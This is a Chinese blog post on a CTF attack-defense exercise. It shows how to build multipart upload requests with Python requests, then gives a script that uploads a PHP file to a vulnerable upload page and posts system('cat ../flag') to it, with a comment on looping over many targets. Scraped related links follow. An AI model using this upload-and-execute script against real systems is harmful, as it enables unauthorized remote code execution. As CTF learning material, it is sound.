一、前言

在学习的时候,发现有一个AWD的文件上传执行漏洞,突然想着批量对不同靶机进行操作并get_flag。思路简单,但是没构造 过文件上传的requests 的post请求的payload。便记录一下。

二、构造知识

在上传文件的时候,数据表的post 请求体里面通常是下面这样

------WebKitFormBoundarycXFjbullGiRoq8pc
Content-Disposition: form-data; name="upload_file"; filename="2.php"
Content-Type: image/jpeg <?php phpinfo();>
------WebKitFormBoundarycXFjbullGiRoq8pc
Content-Disposition: form-data; name="submit" ------WebKitFormBoundarycXFjbullGiRoq8pc--

其中“------WebKitFormBoundarycXFjbullGiRoq8pc”是参数分割符,不用管。

那么这就可以看成两个参数。

在构建post数据请求体的时候。这两个参数的格式是:

name:(<filename>,<file_content>,<content-type>)
#name 是字段里面的name,比如upload_file
#<filename> 上传的文件名
#如果参数没有就填none 所以上述的构造 可以为: file_payload = {
"upload_file":("2.php",open("2.php",'rb'),"image/jpeg"),
"submit":(none,none,none)
}

三、实战脚本

import requests,re

headers = {
'Host': '1.14.110.159:10003',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',
'Referer': 'http://1.14.110.159:10003/Pass-01/index.php',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
} def upload_file(url): file_payload = {
"upload_file": ("t.php", open("2.txt", 'r'), "image/jpeg"),
"submit": (None, "None", None)
} re = requests.post(url,headers=headers,files=file_payload) def get_flag(url):
parm = {
'cmd':'system("cat ../flag");'
}
re = requests.post(url,headers=headers,data=parm).text
return re if __name__ == '__main__': # url = 'http://1.14.110.159:10003/Pass-01/index.php'
# upload_file(url) #getflag
url = "http://1.14.110.159:10003/upload/t.php"
a=get_flag(url)
print(a)
#如果批量上传或者getflag,那么使用for即可。当然提前处理url的拼接。
#for url in urls:
# upload_file(url)

python脚本之requests库上传文件的更多相关文章

  1. Requests库上传文件时UnicodeDecodeError: 'ascii' codec can't decode byte错误解析

    在使用Request上传文件的时候碰到如下错误提示: 2013-12-20 20:51:09,235 __main__ ERROR 'ascii' codec can't decode byte 0x ...

  2. python通过http(multipart/form-data)上传文件的方法

    之前写过一篇博客,说的如何python如何通过http下载文件,今天写一篇博客来介绍如下,python如何通过request库实现上传文件 这里主要是解决multipart/form-data这种格式 ...

  3. selenium python (十四)上传文件的处理

    #!/usr/bin/python# -*- coding: utf-8 -*-__author__ = 'zuoanvip' #上传过程一般要打开一个系统的windows窗口,从窗口选择本地文件添加 ...

  4. C语言 HTTP上传文件-利用libcurl库上传文件

    原文  http://justwinit.cn/post/7626/ 通常情况下,一般很少使用C语言来直接上传文件,但是遇到使用C语言编程实现文件上传时,该怎么做呢? 借助开源的libcurl库,我们 ...

  5. 解决python发送multipart/form-data请求上传文件的问题

    服务器接收文件时,有时会使用表单接收的方式,这意味着我们需要使用Python的requests上传表单数据和文件. 常用的方式一般如下: data = { 'name': 'nginx' } file ...

  6. bottle库上传文件

    安装bottle库 pip install bottle 上传代码 import bottle @bottle.get('/upload') def upload_get(): return bott ...

  7. 【python】用python脚本Paramiko实现远程执行命令、下载、推送/上传文件功能

    Paramiko: paramiko模块,基于SSH用于连接远程服务器并执行相关操作. SSHClient: 用于连接远程服务器并执行基本命令 SFTPClient: 用于连接远程服务器并执行上传下载 ...

  8. python requests 上传文件_python3使用requests上传文件,content-type踩的坑

    通常提交普通表单时,requests的post方法可以指定headers,所以我在使用requests模拟上传文件行为时,直接按照下面的方式写了: 然后服务器就报出了找不到分隔符Invalid mul ...

  9. Django 练习班级管理系统八 -- 上传文件

    Form表单上传文件 修改 views.py import os def upload(request): if request.method == 'GET': img_list = models. ...

  10. Python Requests库 form-data 上传文件操作

    请求数据示例: ------WebKitFormBoundaryKLoWgrA4O40MayHM Content-Disposition: form-data; name="id" ...

随机推荐

  1. Mybatis 插入后获取主键

    项目结构 数据表结构 pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmln ...

  2. Linux常用指令及shell脚本记录

    记录一些常用指令在博客上,以防哪天因太久不敲而忘却,还可以直接翻看博客记录,不用再一条条百度搜...... 一.Linux常用指令 一.设置文件权限为aapp用户及用户组-- chown -R app ...

  3. P1387

    #include<iostream> #include<utility> using namespace std; typedef long long ll; #define ...

  4. 类、事件与对象---Dad&Mom简单练习

    目的: 模拟一个家庭日常发生的场景:妈妈做好饭,说:"开饭了!",这是爸爸听到了妈妈的喊话就立马动身开始饭吃.而儿子此时正在打游戏,于是他就说:"等我打完这把游戏再吃!& ...

  5. php.ini文件与php.d

    `php.ini` 是 PHP 的主要配置文件,用于全局配置 PHP 的行为和功能.它包含了许多 PHP 的核心设置,如内存限制.错误报告级别.扩展加载等. `php.ini` 文件通常位于 PHP ...

  6. [项目自荐] 交叉编译njs并使用Nginx搭建自由的个人网盘:vList5

    这个博客好久没有打理了,最近才想起来 这篇文章是以下 5 篇文章的组合,希望这个免费的项目能实现他的初衷吧 vList5:部署指南 vList5.3 全面加密,从我做起 njs 从入门(交叉编译)到入 ...

  7. oeasy 教您玩转 linux 010215 随机谚语 fortune

    我们来回顾一下 上一部分我们都讲了什么? 把图像转化为了ascii️字符画 并且修改了cowsay的图像素材的位置 我们想要让牛讲一个随机的笑话 首先我们要有个说笑话的软件包 # 下载fortune ...

  8. C语言数据类型转换(自动类型转换+强制类型转换)

    自动类型转换 1) 将一种类型的数据赋值给另外一种类型的变量时就会发生自动类型转换,例如: float f = 100; int n = f; f 是 float 类型的数据,需要先转换为 int 类 ...

  9. 6、SpringBoot2之整合Mybatis

    创建名为springboot_mybatis的新module,过程参考3.1节 6.1.引入相关依赖 注意:虽然本文使用的是 spring boot 2.7.18 和 MySQL 5.7 ,但是出于可 ...

  10. 【Mybatis】05 官方文档指北阅读 vol3 配置 其二

    对象工厂(objectFactory)[省略,入门阶段实在不懂] 插件(plugins)[省略,入门阶段实在不懂] 环境配置(environments) MyBatis 可以配置成适应多种环境,这种机 ...